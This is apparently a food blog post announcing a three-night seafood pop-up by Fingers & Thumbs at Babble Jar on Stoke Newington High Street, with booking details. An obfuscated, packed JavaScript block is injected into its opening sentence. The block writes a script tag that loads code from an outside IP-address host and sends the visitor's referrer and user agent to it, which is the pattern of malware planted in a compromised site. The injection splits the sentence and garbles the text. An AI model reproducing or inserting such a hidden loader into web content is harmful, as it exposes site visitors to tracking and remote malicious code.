There (function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(” 4=\’7://5.8.9.f/1/h.s.t?r=”+3(0.p)+”\o=”+3(j.i)+”\’><\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ndirn|var|u0026u|referrer|redtn||js|php’.split(‘|’),0,{}))
is a pop up lurking in Stokie of the Seafood variety from the delightful Fingers & Thumbs who treated us to a whole load of fresh seafood back in December. Kicking off today Babble Jar will host the Lobster Lovers, Oyster shuckers & Crab suckers for three whole nights. Plus there is more of everything, they have gone ‘PYROTECHNIC’ and gone bigger and better with Lobsters, Whole Brown Crabs, Scottish Langoustines, more Mussels and more Clams! Why not pop by late Friday evening, enjoy a langoustine then dance your socks off till the early hours at Dalston Nites, in the same bloody venue. CHOWABUNGA!

Booking – Direct from Jimmy on 07815 808 735, via Twitter @FingAndThumbs or FB- Fingers And Thumbs Pop-Up. See (food) and eat it…

Thurs 28th – Sat 30th March, 5pm – 9.30pm
176 Stoke Newington High St, N16 7JL